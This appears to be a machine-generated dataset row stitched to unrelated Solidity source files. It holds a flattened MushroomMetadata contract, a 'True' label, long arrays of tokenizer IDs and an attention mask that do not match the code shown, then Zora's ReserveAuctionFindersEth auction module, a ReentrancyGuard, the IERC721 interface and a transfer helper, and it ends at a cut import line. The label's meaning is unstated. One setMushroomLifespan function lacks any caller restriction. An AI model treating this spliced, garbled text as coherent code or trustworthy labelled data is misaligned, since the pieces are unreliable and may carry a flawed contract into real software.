require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// Dependency file: contracts/MushroomLib.sol
// pragma solidity ^0.6.0;
library MushroomLib {
struct MushroomData {
uint256 species;
uint256 strength;
uint256 lifespan;
}
struct MushroomType {
uint256 id;
uint256 strength;
uint256 minLifespan;
uint256 maxLifespan;
uint256 minted;
uint256 cap;
}
}
// Dependency file: contracts/metadata/resolvers/MetadataResolver.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
// import "contracts/MushroomLib.sol";
abstract contract MetadataResolver {
using MushroomLib for MushroomLib.MushroomData;
using MushroomLib for MushroomLib.MushroomType;
function getMushroomData(uint256 index, bytes calldata data) external virtual view returns (MushroomLib.MushroomData memory);
function setMushroomLifespan(uint256 index, uint256 lifespan, bytes calldata data) external virtual;
function isBurnable(uint256 index) external view virtual returns (bool);
}
// Root file: contracts/metadata/MushroomMetadata.sol
// import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC721/IERC721.sol";
// import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol";
// import "contracts/metadata/resolvers/MetadataResolver.sol";
// import "contracts/MushroomLib.sol";
contract MushroomMetadata is OwnableUpgradeSafe {
using MushroomLib for MushroomLib.MushroomData;
using MushroomLib for MushroomLib.MushroomType;
mapping(address => address) public metadataResolvers;
event ResolverSet(address nft, address resolver);
modifier onlyWithMetadataResolver(address nftContract) {
require(metadataResolvers[nftContract] != address(0), "MetadataRegistry: No resolver set for nft");
_;
}
function hasMetadataResolver(address nftContract) external view returns (bool) {
return metadataResolvers[nftContract] != address(0);
}
function getMetadataResolver(address nftContract) external view returns (address) {
return metadataResolvers[nftContract];
}
function initialize() public initializer {
__Ownable_init();
}
function getMushroomData(
address nftContract,
uint256 nftIndex,
bytes calldata data
) external view onlyWithMetadataResolver(nftContract) returns (MushroomLib.MushroomData memory) {
MetadataResolver resolver = MetadataResolver(metadataResolvers[nftContract]);
MushroomLib.MushroomData memory mushroomData = resolver.getMushroomData(nftIndex, data);
return mushroomData;
}
function isBurnable(
address nftContract,
uint256 nftIndex
) external view onlyWithMetadataResolver(nftContract) returns (bool) {
MetadataResolver resolver = MetadataResolver(metadataResolvers[nftContract]);
return resolver.isBurnable(nftIndex);
}
function setMushroomLifespan(
address nftContract,
uint256 nftIndex,
uint256 lifespan,
bytes calldata data
) external onlyWithMetadataResolver(nftContract) {
MetadataResolver resolver = MetadataResolver(metadataResolvers[nftContract]);
resolver.setMushroomLifespan(nftIndex, lifespan, data);
}
function setResolver(address nftContract, address resolver) public onlyOwner {
metadataResolvers[nftContract] = resolver;
emit ResolverSet(nftContract, resolver);
}
} | True | [
101,
1013,
1013,
24394,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
28855,
14820,
1011,
7427,
1013,
8311,
1013,
17174,
13102,
18491,
1013,
29464,
11890,
16048,
2629,
1012,
14017,
1013,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
1013,
1013,
24394,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
28855,
14820,
1011,
7427,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
29464,
11890,
2581,
17465,
1012,
14017,
1013,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1016,
1025,
1013,
1013,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
28855,
14820,
1011,
7427,
1013,
8311,
1013,
17174,
13102,
18491,
1013,
29464,
11890,
16048,
2629,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3223,
8278,
1997,
2019,
9413,
2278,
2581,
17465,
24577,
3206,
1012,
1008,
1013,
8278,
29464,
11890,
2581,
17465,
2003,
29464,
11890,
16048,
2629,
1063,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
4844,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
2724,
6226,
29278,
8095,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
6872,
1010,
22017,
2140,
4844,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2193,
1997,
1050,
6199,
2015,
1999,
1036,
1036,
3954,
1036,
1036,
1005,
1055,
4070,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3954,
1997,
1996,
1050,
6199,
9675,
2011,
1036,
19204,
3593,
1036,
1012,
1008,
1013,
3853,
3954,
11253,
1006,
21318,
3372,
17788,
2575,
19204,
3593,
1007,
6327,
3193,
5651,
1006,
4769,
3954,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
15210,
1037,
3563,
1050,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import {ReentrancyGuard} from "@rari-capital/solmate/src/utils/ReentrancyGuard.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {ERC721TransferHelper} from "../../../../transferHelpers/ERC721TransferHelper.sol";
import {FeePayoutSupportV1} from "../../../../common/FeePayoutSupport/FeePayoutSupportV1.sol";
import {ModuleNamingSupportV1} from "../../../../common/ModuleNamingSupport/ModuleNamingSupportV1.sol";
import {IReserveAuctionFindersEth} from "./IReserveAuctionFindersEth.sol";
/// @title Reserve Auction Finders ETH
/// @author kulkarohan
/// @notice Module adding Finders Fee to Reserve Auction Core ETH
contract ReserveAuctionFindersEth is IReserveAuctionFindersEth, ReentrancyGuard, FeePayoutSupportV1, ModuleNamingSupportV1 {
/// @notice The minimum amount of time left in an auction after a new bid is created
uint16 constant TIME_BUFFER = 15 minutes;
/// @notice The minimum percentage difference between two bids
uint8 constant MIN_BID_INCREMENT_PERCENTAGE = 10;
/// @notice The ZORA ERC-721 Transfer Helper
ERC721TransferHelper public immutable erc721TransferHelper;
/// @notice The auction for a given NFT, if one exists
/// @dev ERC-721 token contract => ERC-721 token id => Auction
mapping(address => mapping(uint256 => Auction)) public auctionForNFT;
/// @notice The metadata for a given auction
/// @param seller The address of the seller
/// @param reservePrice The reserve price to start the auction
/// @param sellerFundsRecipient The address where funds are sent after the auction
/// @param highestBid The highest bid of the auction
/// @param highestBidder The address of the highest bidder
/// @param duration The length of time that the auction runs after the first bid is placed
/// @param startTime The time that the first bid can be placed
/// @param finder The address that referred the highest bid
/// @param firstBidTime The time that the first bid is placed
/// @param findersFeeBps The fee that is sent to the referrer of the highest bid
struct Auction {
address seller;
uint96 reservePrice;
address sellerFundsRecipient;
uint96 highestBid;
address highestBidder;
uint48 duration;
uint48 startTime;
address finder;
uint80 firstBidTime;
uint16 findersFeeBps;
}
/// @notice Emitted when an auction is created
/// @param tokenContract The ERC-721 token address of the created auction
/// @param tokenId The ERC-721 token id of the created auction
/// @param auction The metadata of the created auction
event AuctionCreated(address indexed tokenContract, uint256 indexed tokenId, Auction auction);
/// @notice Emitted when a reserve price is updated
/// @param tokenContract The ERC-721 token address of the updated auction
/// @param tokenId The ERC-721 token id of the updated auction
/// @param auction The metadata of the updated auction
event AuctionReservePriceUpdated(address indexed tokenContract, uint256 indexed tokenId, Auction auction);
/// @notice Emitted when an auction is canceled
/// @param tokenContract The ERC-721 token address of the canceled auction
/// @param tokenId The ERC-721 token id of the canceled auction
/// @param auction The metadata of the canceled auction
event AuctionCanceled(address indexed tokenContract, uint256 indexed tokenId, Auction auction);
/// @notice Emitted when a bid is placed
/// @param tokenContract The ERC-721 token address of the auction
/// @param tokenId The ERC-721 token id of the auction
/// @param firstBid If the bid started the auction
/// @param extended If the bid extended the auction
/// @param auction The metadata of the auction
event AuctionBid(address indexed tokenContract, uint256 indexed tokenId, bool firstBid, bool extended, Auction auction);
/// @notice Emitted when an auction has ended
/// @param tokenContract The ERC-721 token address of the auction
/// @param tokenId The ERC-721 token id of the auction
/// @param auction The metadata of the settled auction
event AuctionEnded(address indexed tokenContract, uint256 indexed tokenId, Auction auction);
/// @param _erc721TransferHelper The ZORA ERC-721 Transfer Helper address
/// @param _royaltyEngine The Manifold Royalty Engine address
/// @param _protocolFeeSettings The ZORA Protocol Fee Settings address
/// @param _weth The WETH token address
constructor(
address _erc721TransferHelper,
address _royaltyEngine,
address _protocolFeeSettings,
address _weth
)
FeePayoutSupportV1(_royaltyEngine, _protocolFeeSettings, _weth, ERC721TransferHelper(_erc721TransferHelper).ZMM().registrar())
ModuleNamingSupportV1("Reserve Auction Finders ETH")
{
erc721TransferHelper = ERC721TransferHelper(_erc721TransferHelper);
}
/// @notice Implements EIP-165 for standard interface detection
/// @dev `0x01ffc9a7` is the IERC165 interface id
/// @param _interfaceId The identifier of a given interface
/// @return If the given interface is supported
function supportsInterface(bytes4 _interfaceId) external pure returns (bool) {
return _interfaceId == type(IReserveAuctionFindersEth).interfaceId || _interfaceId == 0x01ffc9a7;
}
// ,-.
// `-'
// /|\
// | ,------------------------.
// / \ |ReserveAuctionFindersEth|
// Caller `-----------+------------'
// | createAuction() |
// | ------------------------->
// | |
// | |----.
// | | | store auction metadata
// | |<---'
// | |
// | |----.
// | | | emit AuctionCreated()
// | |<---'
// Caller ,-----------+------------.
// ,-. |ReserveAuctionFindersEth|
// `-' `------------------------'
// /|\
// |
// / \
/// @notice Creates an auction for a given NFT
/// @param _tokenContract The address of the ERC-721 token
/// @param _tokenId The id of the ERC-721 token
/// @param _duration The length of time the auction should run after the first bid
/// @param _reservePrice The minimum bid amount to start the auction
/// @param _sellerFundsRecipient The address to send funds to once the auction is complete
/// @param _startTime The time that users can begin placing bids
/// @param _findersFeeBps The fee to send to the referrer of the winning bid
function createAuction(
address _tokenContract,
uint256 _tokenId,
uint256 _duration,
uint256 _reservePrice,
address _sellerFundsRecipient,
uint256 _startTime,
uint256 _findersFeeBps
) external nonReentrant {
// Get the owner of the specified token
address tokenOwner = IERC721(_tokenContract).ownerOf(_tokenId);
// Ensure the caller is the owner or an approved operator
require(msg.sender == tokenOwner || IERC721(_tokenContract).isApprovedForAll(tokenOwner, msg.sender), "ONLY_TOKEN_OWNER_OR_OPERATOR");
// Ensure the funds recipient is specified
require(_sellerFundsRecipient != address(0), "INVALID_FUNDS_RECIPIENT");
// Ensure the finders fee does not exceed 10,000 basis points
require(_findersFeeBps <= 10000, "INVALID_FINDERS_FEE");
// Store the auction metadata
auctionForNFT[_tokenContract][_tokenId].seller = tokenOwner;
auctionForNFT[_tokenContract][_tokenId].reservePrice = uint96(_reservePrice);
auctionForNFT[_tokenContract][_tokenId].sellerFundsRecipient = _sellerFundsRecipient;
auctionForNFT[_tokenContract][_tokenId].duration = uint48(_duration);
auctionForNFT[_tokenContract][_tokenId].startTime = uint48(_startTime);
auctionForNFT[_tokenContract][_tokenId].findersFeeBps = uint16(_findersFeeBps);
emit AuctionCreated(_tokenContract, _tokenId, auctionForNFT[_tokenContract][_tokenId]);
}
// ,-.
// `-'
// /|\
// | ,------------------------.
// / \ |ReserveAuctionFindersEth|
// Caller `-----------+------------'
// | setAuctionReservePrice() |
// | ------------------------->
// | |
// | |----.
// | | | update reserve price
// | |<---'
// | |
// | |----.
// | | | emit AuctionReservePriceUpdated()
// | |<---'
// Caller ,-----------+------------.
// ,-. |ReserveAuctionFindersEth|
// `-' `------------------------'
// /|\
// |
// / \
/// @notice Updates the reserve price for a given auction
/// @param _tokenContract The address of the ERC-721 token
/// @param _tokenId The id of the ERC-721 token
/// @param _reservePrice The new reserve price
function setAuctionReservePrice(
address _tokenContract,
uint256 _tokenId,
uint256 _reservePrice
) external nonReentrant {
// Get the auction for the specified token
Auction storage auction = auctionForNFT[_tokenContract][_tokenId];
// Ensure the auction has not started
require(auction.firstBidTime == 0, "AUCTION_STARTED");
// Ensure the caller is the seller
require(msg.sender == auction.seller, "ONLY_SELLER");
// Update the reserve price
auction.reservePrice = uint96(_reservePrice);
emit AuctionReservePriceUpdated(_tokenContract, _tokenId, auction);
}
// ,-.
// `-'
// /|\
// | ,------------------------.
// / \ |ReserveAuctionFindersEth|
// Caller `-----------+------------'
// | cancelAuction() |
// | ------------------------->
// | |
// | |----.
// | | | emit AuctionCanceled()
// | |<---'
// | |
// | |----.
// | | | delete auction
// | |<---'
// Caller ,-----------+------------.
// ,-. |ReserveAuctionFindersEth|
// `-' `------------------------'
// /|\
// |
// / \
/// @notice Cancels the auction for a given NFT
/// @param _tokenContract The address of the ERC-721 token
/// @param _tokenId The id of the ERC-721 token
function cancelAuction(address _tokenContract, uint256 _tokenId) external nonReentrant {
// Get the auction for the specified token
Auction memory auction = auctionForNFT[_tokenContract][_tokenId];
// Ensure the auction has not started
require(auction.firstBidTime == 0, "AUCTION_STARTED");
// Ensure the caller is the seller or a new owner of the token
require(msg.sender == auction.seller || msg.sender == IERC721(_tokenContract).ownerOf(_tokenId), "ONLY_SELLER_OR_TOKEN_OWNER");
emit AuctionCanceled(_tokenContract, _tokenId, auction);
// Remove the auction from storage
delete auctionForNFT[_tokenContract][_tokenId];
}
// ,-.
// `-'
// /|\
// | ,------------------------. ,--------------------.
// / \ |ReserveAuctionFindersEth| |ERC721TransferHelper|
// Caller `-----------+------------' `---------+----------'
// | createBid() | |
// | -------------------------> |
// | | |
// | | |
// | ___________________________________________________________________
// | ! ALT / First bid? | | !
// | !_____/ | | !
// | ! |----. | !
// | ! | | start auction | !
// | ! |<---' | !
// | ! | | !
// | ! |----. | !
// | ! | | transferFrom() | !
// | ! |<---' | !
// | ! | | !
// | ! |----. !
// | ! | | transfer NFT from seller to escrow !
// | ! |<---' !
// | !~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~!
// | ! [refund previous bidder] | !
// | ! |----. | !
// | ! | | transfer ETH to bidder | !
// | ! |<---' | !
// | !~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~!
// | | |
// | | |
// | _______________________________________________ |
// | ! ALT / Bid placed within 15 min of end? ! |
// | !_____/ | ! |
// | ! |----. ! |
// | ! | | extend auction ! |
// | ! |<---' ! |
// | !~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~! |
// | !~[noop]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~! |
// | | |
// | |----. |
// | | | emit AuctionBid() |
// | |<---' |
// Caller ,-----------+------------. ,---------+----------.
// ,-. |ReserveAuctionFindersEth| |ERC721TransferHelper|
// `-' `------------------------' `--------------------'
// /|\
// |
// / \
/// @notice Places a bid on the auction for a given NFT
/// @param _tokenContract The address of the ERC-721 token
/// @param _tokenId The id of the ERC-721 token
/// @param _finder The referrer of the bid
function createBid(
address _tokenContract,
uint256 _tokenId,
address _finder
) external payable nonReentrant {
// Get the auction for the specified token
Auction storage auction = auctionForNFT[_tokenContract][_tokenId];
// Cache the seller
address seller = auction.seller;
// Ensure the auction exists
require(seller != address(0), "AUCTION_DOES_NOT_EXIST");
// Ensure the auction has started or is valid to start
require(block.timestamp >= auction.startTime, "AUCTION_NOT_STARTED");
// Cache more auction metadata
uint256 firstBidTime = auction.firstBidTime;
uint256 duration = auction.duration;
// Used to emit whether the bid started the auction
bool firstBid;
// If this is the first bid, start the auction
if (firstBidTime == 0) {
// Ensure the bid meets the reserve price
require(msg.value >= auction.reservePrice, "RESERVE_PRICE_NOT_MET");
// Store the current time as the first bid time
auction.firstBidTime = uint80(block.timestamp);
// Mark this bid as the first
firstBid = true;
// Transfer the NFT from the seller into escrow for the duration of the auction
// Reverts if the seller did not approve the ERC721TransferHelper or no longer owns the token
erc721TransferHelper.transferFrom(_tokenContract, seller, address(this), _tokenId);
// Else this is a subsequent bid, so refund the previous bidder
} else {
// Ensure the auction has not ended
require(block.timestamp < (firstBidTime + duration), "AUCTION_OVER");
// Cache the highest bid
uint256 highestBid = auction.highestBid;
// Used to store the minimum bid required to outbid the highest bidder
uint256 minValidBid;
// Calculate the minimum bid required (10% higher than the highest bid)
// Cannot overflow as the highest bid would have to be magnitudes higher than the total supply of ETH
unchecked {
minValidBid = highestBid + ((highestBid * MIN_BID_INCREMENT_PERCENTAGE) / 100);
}
// Ensure the incoming bid meets the minimum
require(msg.value >= minValidBid, "MINIMUM_BID_NOT_MET");
// Refund the previous bidder
_handleOutgoingTransfer(auction.highestBidder, highestBid, address(0), 50000);
}
// Store the attached ETH as the highest bid
auction.highestBid = uint96(msg.value);
// Store the caller as the highest bidder
auction.highestBidder = msg.sender;
// Store the finder of the bid
auction.finder = _finder;
// Used to emit whether the bid extended the auction
bool extended;
// Used to store the auction time remaining
uint256 timeRemaining;
// Get the auction time remaining
// Cannot underflow as `firstBidTime + duration` is ensured to be greater than `block.timestamp`
unchecked {
timeRemaining = firstBidTime + duration - block.timestamp;
}
// If the bid is placed within 15 minutes of the auction end, extend the auction
if (timeRemaining < TIME_BUFFER) {
// Add (15 minutes - remaining time) to the duration so that 15 minutes remain
// Cannot underflow as `timeRemaining` is ensured to be less than `TIME_BUFFER`
unchecked {
auction.duration += uint48(TIME_BUFFER - timeRemaining);
}
// Mark the bid as one that extended the auction
extended = true;
}
emit AuctionBid(_tokenContract, _tokenId, firstBid, extended, auction);
}
// ,-.
// `-'
// /|\
// | ,------------------------.
// / \ |ReserveAuctionFindersEth|
// Caller `-----------+------------'
// | settleAuction() |
// | ------------------------->
// | |
// | |----.
// | | | validate auction ended
// | |<---'
// | |
// | |----.
// | | | handle royalty payouts
// | |<---'
// | |
// | |
// | __________________________________________________________
// | ! ALT / finders fee configured for this auction? !
// | !_____/ | !
// | ! |----. !
// | ! | | handle finders fee payout !
// | ! |<---' !
// | !~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~!
// | !~[noop]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~!
// | |
// | |----.
// | | | handle seller funds recipient payout
// | |<---'
// | |
// | |----.
// | | | transfer NFT from escrow to winning bidder
// | |<---'
// | |
// | |----.
// | | | emit AuctionEnded()
// | |<---'
// | |
// | |----.
// | | | delete auction from contract
// | |<---'
// Caller ,-----------+------------.
// ,-. |ReserveAuctionFindersEth|
// `-' `------------------------'
// /|\
// |
// / \
/// @notice Ends the auction for a given NFT
/// @param _tokenContract The address of the ERC-721 token
/// @param _tokenId The id of the ERC-721 token
function settleAuction(address _tokenContract, uint256 _tokenId) external nonReentrant {
// Get the auction for the specified token
Auction memory auction = auctionForNFT[_tokenContract][_tokenId];
// Cache the time of the first bid
uint256 firstBidTime = auction.firstBidTime;
// Ensure the auction had started
require(firstBidTime != 0, "AUCTION_NOT_STARTED");
// Ensure the auction has ended
require(block.timestamp >= (firstBidTime + auction.duration), "AUCTION_NOT_OVER");
// Payout associated token royalties, if any
(uint256 remainingProfit, ) = _handleRoyaltyPayout(_tokenContract, _tokenId, auction.highestBid, address(0), 300000);
// Payout the module fee, if configured by the owner
remainingProfit = _handleProtocolFeePayout(remainingProfit, address(0));
// Cache the finder of the winning bid
address finder = auction.finder;
// Payout the finder, if referred
if (finder != address(0)) {
// Get the fee from the remaining profit
uint256 finderFee = (remainingProfit * auction.findersFeeBps) / 10000;
// Transfer the amount to the finder
_handleOutgoingTransfer(finder, finderFee, address(0), 50000);
// Update the remaining profit
remainingProfit -= finderFee;
}
// Transfer the remaining profit to the funds recipient
_handleOutgoingTransfer(auction.sellerFundsRecipient, remainingProfit, address(0), 50000);
// Transfer the NFT to the winning bidder
IERC721(_tokenContract).transferFrom(address(this), auction.highestBidder, _tokenId);
emit AuctionEnded(_tokenContract, _tokenId, auction);
// Remove the auction from storage
delete auctionForNFT[_tokenContract][_tokenId];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Gas optimized reentrancy protection for smart contracts.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
uint256 private reentrancyStatus = 1;
modifier nonReentrant() {
require(reentrancyStatus == 1, "REENTRANCY");
reentrancyStatus = 2;
_;
reentrancyStatus = 1;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {BaseTransferHelper} from "./BaseTransferHelper.sol";
/// @title ERC-721 Transfer Helper
/// @author tbtstl <[email protected]>
/// @notice This contract provides modules the ability to transfer ZORA user ERC-721s with their permission
contract ERC721TransferHelper is BaseTransferHelper {
constructor(address _approvalsManager) BaseTransferHelper(_approvalsManager) {}
function safeTransferFrom(
address _token,
address _from,
address _to,
uint256 _tokenId
) public onlyApprovedModule(_from) {
IERC721(_token).safeTransferFrom(_from, _to, _tokenId);
}
function transferFrom(
address _token,
address _from,
address _to,
uint256 _tokenId
) public onlyApprovedModule(_from) {
IERC721(_token).transferFrom(_from, _to, _tokenId);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import {IRoyaltyEngineV1} from "@manifoldxyz/royalty-registry-solidity/contracts/IRoyaltyEngineV1.sol";
